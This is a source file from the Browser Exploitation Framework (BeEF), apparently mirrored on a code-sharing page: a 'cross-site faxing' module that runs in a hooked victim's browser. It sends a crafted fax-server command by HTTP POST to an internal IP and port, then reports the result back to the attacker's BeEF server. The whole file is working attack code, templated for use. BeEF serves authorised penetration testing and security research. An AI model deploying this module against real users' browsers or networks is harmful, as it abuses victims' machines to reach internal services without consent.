Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/ipec/cross_site_faxing/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
var target_ip = "<%= @ip %>";
10
var target_port = "<%= @port %>";
11
var recname = "<%= @recname %>";
12
var recfax = "<%= @recfax %>";
13
var subject = "<%= @subject %>";
14
var msg = "<%= @msg.gsub(/"/, '\\"').gsub(/\r?\n/, '\\n') %>";
15
16
var uri = "http://"+target_ip+":"+target_port+"/";
17
var post_body = "@F201 "+recname+"@@F211 "+recfax+"@@F307 "+subject+"@@F301 1@\n"+msg;
18
19
var xhr = new XMLHttpRequest();
20
21
xhr.open("POST", uri, true);
22
xhr.setRequestHeader("Content-Type", "text/plain");
23
xhr.send(post_body);
24
setTimeout(function(){xhr.abort()}, 2000);
25
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Message sent');
26
27
});
28
29
30